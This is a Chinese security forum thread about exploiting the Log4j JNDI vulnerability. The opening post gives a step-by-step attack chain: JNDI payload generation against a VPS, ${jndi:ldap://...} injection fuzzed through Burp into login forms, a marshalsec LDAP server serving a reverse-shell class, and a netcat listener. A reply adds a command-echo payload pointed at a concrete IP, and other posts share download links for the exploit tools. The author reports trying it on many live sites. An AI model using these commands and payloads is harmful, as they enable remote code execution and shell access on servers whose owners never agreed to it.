# Apache-Log4j **URL:** \ **Category:** 技术文章\ **Created:** [2021 年12 月 10 日 16:10 UTC](https://forum.90sec.com/t/topic/1939 "2021-12-10T16:10:24Z")\ **Posts on this page:** 8\ **Page:** 1
作者： ![82303224](https://forum.90sec.com/letter_avatar_proxy/v4/letter/8/bbe5ce/32.png) [@82303224](https://forum.90sec.com/u/82303224)\ 发布日期： [2021 年12 月 10 日 16:10 UTC](https://forum.90sec.com/t/topic/1939/1 "2021-12-10T16:10:24Z")
一 漏洞检测： 1. [xx.24b5010c.dns.1433.eu.org](http://xx.24b5010c.dns.1433.eu.org) //dnslog地址 10.10.10.10 //vps外网地址 2. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping [xx.24b5010c.dns.1433.eu.org](http://xx.24b5010c.dns.1433.eu.org)" -A 10.10.10.10 得到类似几个地址： rmi://10.10.10.10:1099/iqnqyi ldap://10.10.10.10:1389/iqnqyi rmi://10.10.10.10:1099/3vmqfk ldap://10.10.10.10:1389/3vmqfk rmi://10.10.10.10:1099/jan8oe 保存fuzz.txt 1. 在系统登录处或者post主页： ${jndi:exp} burpsuite exp设置变量，加载字典fuzz.txt，去掉转义，刷新dnslog查看数据。 2. 记得查看防火墙放行端口。 二 命令执行： 1. vps开启web服务和监听端口 python3 -m http.server 9092,以及监听端口nc -l 9091 2. windows，使用./src/ExecTemplateJDK7.java 修改里面的host和port为要反弹的地址 linux，使用./src/linux.java,其实是cmd.exe改成/bin/bash 1. 编译：javac ExecTemplateJDK7.java,生成ExecTemplateJDK7.class 2. 执行：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://10.10.10.10:9092/#ExecTemplateJDK7](http://10.10.10.10:9092/#ExecTemplateJDK7) 1389 3. 在系统登录处或者post主页：${jndi:exp} burpsuite exp设置变量，加载字典fuzz.txt，去掉转义 4. 看nc情况 打包下载地址：链接: [https://pan.baidu.com/s/1Ka2jg-C-Wqn92vFBM2ReNw](https://pan.baidu.com/s/1Ka2jg-C-Wqn92vFBM2ReNw) 提取码: 9e71 复制这段内容后 申明：我测试了好多个站都没有检测成功有，不知道是exp的问题还是站的问题。有复现成功的吱一声谢谢。 burp检测插件ceeio，[GitHub - guguyu1/log4j2\_burp\_scan: log4j2 被动 burp rce扫描工具 get post cookie 全参数识别](https://github.com/guguyu1/log4j2_burp_scan) dnslog：[GitHub - f0ng/log4jscanner: log4j burp插件](https://github.com/f0ng/log4jscanner) ---
作者： ![wqe123](https://forum.90sec.com/letter_avatar_proxy/v4/letter/w/e495f1/32.png) [@wqe123](https://forum.90sec.com/u/wqe123)\ 发布日期： [2021 年12 月 11 日 13:27 UTC](https://forum.90sec.com/t/topic/1939/2 "2021-12-11T13:27:50Z")
土司那边好像有人成功的，不过多数都是本地测试可以目标机器不行的，好像要有触发的类库 ---
作者： ![82303224](https://forum.90sec.com/letter_avatar_proxy/v4/letter/8/bbe5ce/32.png) [@82303224](https://forum.90sec.com/u/82303224)\ 发布日期： [2021 年12 月 13 日 03:15 UTC](https://forum.90sec.com/t/topic/1939/3 "2021-12-13T03:15:53Z")
靶机地址：[https://ctf.bugku.com/challenges/detail/id/340.html](https://ctf.bugku.com/challenges/detail/id/340.html) 复现可以成功， ![捕获](https://forum.90sec.com/uploads/default/original/2X/9/913f896f25dc042e5a1daf609a58ac528ada15ad.png) 也可以直接https://log.咕.com/ 获取 dnslog 登录框输入：${jndi:ldap://xx.24b5010c.dns.1433.eu.org.}直接验证，保留org后面的点 ![捕获](https://forum.90sec.com/uploads/default/original/2X/d/dc6634daa9031b544911b208874154bb28a09748.png) 反弹就按上面的来 命令回显使用：JNDIExploit-v1.11.jar 1. 开启ldap ：java -jar JNDIExploit-v1.11.jar -i 0.0.0.0 -l 1389 2： burp抓包 头加入 cmd:whoami 提交数据: ${jndi:ldap://167.179.108.116:1389/TomcatBypass/TomcatEcho} ![微信图片_20211213111450](https://forum.90sec.com/uploads/default/original/2X/7/7ea2b26ca5cafc83330e7184204e23f897ea948f.png) 更多回显：[https://mp.weixin.qq.com/s/QiK1W-Zo4g-gB4wj2I82bg](https://mp.weixin.qq.com/s/QiK1W-Zo4g-gB4wj2I82bg) ---
作者： ![Dabai](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/ebca7d/32.png) [@Dabai](https://forum.90sec.com/u/Dabai)\ 发布日期： [2021 年12 月 13 日 09:46 UTC](https://forum.90sec.com/t/topic/1939/4 "2021-12-13T09:46:08Z")
弹shell的地方，每太看明白，能详细讲讲么 ---
作者： ![mouselet](https://forum.90sec.com/letter_avatar_proxy/v4/letter/m/b77776/32.png) [@mouselet](https://forum.90sec.com/u/mouselet)\ 发布日期： [2021 年12 月 14 日 07:49 UTC](https://forum.90sec.com/t/topic/1939/5 "2021-12-14T07:49:25Z")
> [@82303224](#): > > JNDIExploit-v1.11.jar JNDIExploit-v1.11.jar连接404了，求分享 ---
作者： ![BLUE](https://forum.90sec.com/letter_avatar_proxy/v4/letter/b/3bc359/32.png) [@BLUE](https://forum.90sec.com/u/BLUE)\ 发布日期： [2021 年12 月 14 日 09:24 UTC](https://forum.90sec.com/t/topic/1939/6 "2021-12-14T09:24:00Z")
实际环境下成功过 限制比较多感觉 ---
作者： ![82303224](https://forum.90sec.com/letter_avatar_proxy/v4/letter/8/bbe5ce/32.png) [@82303224](https://forum.90sec.com/u/82303224)\ 发布日期： [2021 年12 月 15 日 06:32 UTC](https://forum.90sec.com/t/topic/1939/7 "2021-12-15T06:32:47Z")
JNDIExploit-v1.11.jar链接: [百度网盘 请输入提取码](https://pan.baidu.com/s/1hngG1M8Zmltcn0OZC37f0Q) 提取码: gcpj ---
作者： ![desperad0](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/aeb1de/32.png) [@desperad0](https://forum.90sec.com/u/desperad0)\ 发布日期： [2021 年12 月 22 日 10:03 UTC](https://forum.90sec.com/t/topic/1939/9 "2021-12-22T10:03:34Z")
学到了